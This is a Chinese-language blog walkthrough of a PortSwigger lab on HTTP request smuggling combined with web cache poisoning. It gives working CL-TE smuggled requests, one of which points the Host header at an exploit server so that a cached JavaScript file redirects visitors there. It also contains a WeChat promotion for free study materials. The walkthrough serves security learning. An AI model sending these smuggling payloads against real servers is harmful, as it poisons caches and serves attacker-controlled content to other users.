Http-Sumggling緩存漏洞分析

當http請求走私和web緩存碰到一起會產生什麼樣的火花呢,讓我們看看。

在接觸Http Sumggling 緩存漏洞前,我們需要先對Http Sumggling和Web緩存有所瞭解。

什麼是Web緩存

WEB緩存就是指網站的靜態文件,比如圖片、CSS、JS等,在網站訪問的時候,服務器會將這些文件緩存起來,以便下次訪問時直接從緩存中讀取,不需要再次請求服務器。

緩存位於服務器和客戶端之間,通常出於優化用戶瀏覽體驗或其他原因以減少對服務器的訪問而設定的在固定時間內保存且針對特定請求的響應,常見的緩存點有:

  • 後端程序緩存

  • 服務器緩存

  • 瀏覽器緩存

  • 緩存服務器

  • CDN緩存

最常見的無疑就是CDN及其類似的緩存服務器。

而爲了讓緩存判斷是否需要提供緩存內容,在http請求中會存在緩存鍵 X-Cache,緩存鍵叫什麼決定於架構師,但都是一個概念。

1.png

什麼是web緩存漏洞

如上圖所示,假設小紫小黃小綠都在服務器劃分的同一批特定請求中,那麼小紫一開始訪問服務器時,經過緩存鍵X-Cache: Miss的判定,是首次訪問,所以直接連接到Server服務器,而其後的小黃、小綠再次訪問相同的文件時就會被判定爲X-Cache: Hit,即只需連接Cache緩存服務器,不再連接到Server服務器,藉此減少了Server服務器的運行負荷。

這無疑是一個很不錯的設計,但一旦被有心之士利用,那就會發生一些不好的事情了。

2.png

如圖,當攻擊者改了一些包發送到後端,導致後端返回一些惡意數據,比如xss、注入等問題,而由於緩存的機制,後續的正常用戶訪問時就會讀取緩存服務器的惡意緩存,這就是常見的web緩存漏洞,也叫緩存投毒。

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

Http Sumggling

HTTP請求走私是一種干擾網站處理從一個或多個用戶接收的HTTP請求序列的方式的技術,其漏洞的主要形成原因是不同的服務器對於RFC標準的具體實現不一而導致的。

一般可分爲以下幾種:

  • CL: Content-Length

  • TE: Transfer-Encoding

  • CL不爲0的GET請求

  • CL-CL

  • CL-TE

  • TE-CL

  • TE-TE

mengchen@知道創宇404實驗室的文章中有了十分詳細的論述,我這就不再贅述。

https://paper.seebug.org/1048/#35-te-te

Http Sumggling 緩存漏洞

靶場

依舊以Lab: Exploiting HTTP request smuggling to perform web cache poisoning爲靶場。

解法

判斷是否存在走私,確定爲CL-TE。

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
​
0
​
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
​
x=1

 

第一次請求爲:

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked​

4.png

第二次請求爲下半段:

GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
​
x=1

5.png

可以看到存在302跳轉。

然後我們需要找到哪裏進行緩存攻擊,這裏我以/resources/js/tracking.js進行攻擊。

3.png

6.png

可以看到X-Cache爲miss,這樣我們就可以利用修改,進行緩存攻擊。

  • 先點擊send post包

    POST / HTTP/1.1
    Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 195
    Transfer-Encoding: chunked
    ​
    0
    ​
    GET /post/next?postId=3 HTTP/1.1
    Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 10
    ​
    x=1

    訪問到第一部分:

    4.png

  • 然後在/resources/js/tracking.js send包:

    7.png

    可以發現成功攻擊,緩存鍵爲miss,那下一個包應該就可以成功轉接到exploit上,我們試試。

  • 對原界面進行抓包,多抓幾次。

    8.png

    發現host成功變爲我們的exploit。

後言

漏洞越來越多,也會越來越複雜,不再是單一的某種漏洞這麼簡單,多種漏洞複合是未來標誌。

更多靶場實驗練習、網安學習資料,請點擊這裏>>

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章